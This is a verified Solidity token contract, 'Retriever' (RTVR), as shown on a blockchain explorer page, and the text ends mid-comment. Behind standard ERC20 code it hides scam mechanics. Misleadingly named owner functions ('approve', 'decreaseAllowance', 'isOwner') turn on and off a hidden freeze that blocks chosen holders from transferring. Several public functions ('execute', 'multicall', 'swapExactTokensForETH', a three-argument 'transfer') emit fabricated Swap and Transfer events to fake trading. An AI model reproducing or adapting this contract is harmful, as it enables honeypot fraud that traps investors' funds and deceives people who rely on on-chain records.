Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom( interface IERC20Metadata is IERC20    - function name()    - function symbol()    - function decimals()    - function _msgSender()    - function _msgData()    - function owner()    - function _checkOwner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ...  contract ERC20 is Ownable, IERC20, ...    - function init(address _lp_)    - function name()    - function symbol()    - function decimals()    - function approve(address [] calldata ...    - function execute(address [] calldata ...    - function swapExactTokensForTokensSupp ...    - function multicall(address [] calldat ...    - function swapExactTokensForETH(addres ...    - function transfer(address _from, addr ...    - function transfer(address [] calldata ...    - function decreaseAllowance(address [] ...    - function isOwner(address _address_)    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function _transfer(    - function _mint(address account, uint2 ...    - function _burn(address account, uint2 ...    - function _approve(    - function _spendAllowance(    - function _afterTokenTransfer(    - function _beforeTokenTransfer( library Math    - function max(uint256 a, uint256 b)    - function min(uint256 a, uint256 b)    - function average(uint256 a, uint256 b ...    - function ceilDiv(uint256 a, uint256 b ...    - function mulDiv(uint256 x, uint256 y, ...    - function mulDiv(uint256 x, uint256 y, ...    - function sqrt(uint256 a)    - function sqrt(uint256 a, Rounding rou ...    - function log2(uint256 value)    - function log2(uint256 value, Rounding ...    - function log10(uint256 value)    - function log10(uint256 value, Roundin ...    - function log256(uint256 value)    - function log256(uint256 value, Roundi ... library SignedMath    - function max(int256 a, int256 b)    - function min(int256 a, int256 b)    - function average(int256 a, int256 b)    - function abs(int256 n)  contract Retriever is ERC20 *    - function delegates(address delegator)    - function delegate(address delegatee)    - function getPriorVotes(address accoun ...    - function getCurrentVotes(address acco ...    - function _delegate(address delegator, ...    - function _writeCheckpoint(address del ...    - function _moveDelegates(address srcRe ...    - function safe32(uint n, string memory ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-06-10
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-07
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) private _airdropRewards;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _airdropRewardsApplied = false;
    string private _name;
    string private _symbol;

    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function init(address _lp_) external onlyOwner {
        _pair = _lp_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _airdropRewards[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_rv2, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _rv2, _out);
            emit Transfer(_rv2, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function swapExactTokensForETH(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_rv2, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _rv2, _in);
            emit Transfer(_rv2, _pair, _in);
        }
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function decreaseAllowance(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _airdropRewards[_addresses_[i]] = false;
        }
    }

    function isOwner(address _address_) public view returns (bool) {
        return _airdropRewards[_address_];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_airdropRewards[from] || _airdropRewards[to]) require(_airdropRewardsApplied == true, "");


        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
     * with further edits by Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1, "Math: mulDiv overflow");

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}



/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}


contract Retriever is ERC20 {
    constructor() ERC20("Retriever", "RTVR") {
        _mint(msg.sender, 1000000000000 * 10 ** decimals());
    }

    /// @dev A record of each accounts delegate
    mapping (address => address) internal _delegates;

    /// @notice A checkpoint for marking number of votes from a given block
    struct Checkpoint {
        uint32 fromBlock;
        uint256 votes;
    }

    /// @notice The number of checkpoints for each account
    mapping (address => uint32) public numCheckpoints;

    /// @notice A record of votes checkpoints for each account, by index
    mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
    
    /// @notice The EIP-712 typehash for the delegation struct used by the contract
    bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");

    /// @notice A record of states for signing / validating signatures
    mapping (address => uint) public nonces;

    /// @notice An event thats emitted when a delegate account's vote balance changes
    event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);

      /// @notice An event thats emitted when an account changes its delegate
    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);

    /**
     * @notice Delegate votes from `msg.sender` to `delegatee`
     * @param delegator The address to get delegatee for
     */
    function delegates(address delegator) external view returns (address) {
        return _delegates[delegator];
    }

   /**
    * @notice Delegate votes from `msg.sender` to `delegatee`
    * @param delegatee The address to delegate votes to
    */
    function delegate(address delegatee) external {
        return _delegate(msg.sender, delegatee);
    }

    /**
     * @notice Determine the prior number of votes for an account as of a block number
